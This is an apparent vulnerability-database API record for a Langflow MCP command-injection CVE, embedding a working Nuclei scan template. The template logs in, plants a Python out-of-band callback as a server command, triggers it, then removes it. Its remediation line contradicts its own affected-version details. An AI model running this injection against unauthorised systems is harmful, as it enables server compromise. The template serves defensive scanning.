{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-105740/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-105740/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-105740/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-105740/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-105740/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-105740/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2026-105740"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2026-105740"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.01049,"kev":false,"percentile":0.6426},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-105740.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-105740\n\ninfo:\n  name: Langflow 1.8.3 and 1.9.0 - Authenticated MCP Stdio Command Execution\n  author: alex700\n  severity: critical\n  description: |\n    An authenticated user can register an MCP stdio server command that executes\n    when Langflow lists server actions. The 1.9.0 REST validation can be bypassed\n    by placing arguments in the command field. This probe runs a short Python\n    callback, verifies an out-of-band DNS lookup, and removes its server config.\n    The equivalent sink is hardened in 1.10.3.\n  impact: |\n    Authenticated users can execute arbitrary commands on the server, potentially leading to full server compromise.\n  remediation: |\n    Upgrade to version 1.9.0 or later.\n  reference:\n    - https://github.com/langflow-ai/langflow/security/advisories/GHSA-7w94-79vh-5mr2\n    - https://github.com/langflow-ai/langflow/pull/12290\n    - https://github.com/langflow-ai/langflow/security/advisories/GHSA-w794-rj3p-xv45\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-105740\n  classification:\n    cve-id: CVE-2026-105740\n    epss-score: 0.03885\n    epss-percentile: 0.90264\n    cwe-id: CWE-78\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 9.9\n  metadata:\n    verified: true\n    max-request: 5\n    vendor: langflow-ai\n    product: langflow\n  tags: cve,cve2026,langflow,mcp,rce,authenticated,oast,intrusive,vkev\n\nvariables:\n  probe_name: \"nuclei_{{randstr}}\"\n\nflow: 'if (http(1) && http(2)) { http(3); http(4); http(5) }'\n\nhttp:\n  - raw:\n      - |\n        POST /api/v1/login HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        username={{url_encode(username)}}&password={{url_encode(password)}}\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200 && contains(content_type, \"application/json\") && contains(body, \"access_token\")'\n        internal: true\n    extractors:\n      - type: json\n        name: access_token\n        part: body\n        json:\n          - '.access_token'\n        internal: true\n\n  - raw:\n      - |\n        POST /api/v2/mcp/servers/{{probe_name}} HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{access_token}}\n        Content-Type: application/json\n\n        {\"command\":\"python3 -c \\\"import urllib.request;urllib.request.urlopen('http://{{interactsh-url}}',timeout=3)\\\"\",\"args\":[],\"env\":{}}\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains(content_type, \"application/json\")\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /api/v2/mcp/servers?action_count=true HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{access_token}}\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains(content_type, \"application/json\")\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        DELETE /api/v2/mcp/servers/{{probe_name}} HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{access_token}}\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n        internal: true\n\n  - raw:\n      - |\n        GET /api/v2/mcp/servers HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{access_token}}\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - \"!contains(body, probe_name)\"\n        condition: and\n      - type: word\n        part: interactsh_protocol\n        words:\n          - dns\n# digest: 4b0a00483046022100df1ecb72a5b66a435562a78442fa6482fbfb8760bff1f3a61402462fedc0b0a102210085ba511b4932b1a44079d6dd211ccf63023a9854fbdd643b2dac3958f4d259b5:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-105740"}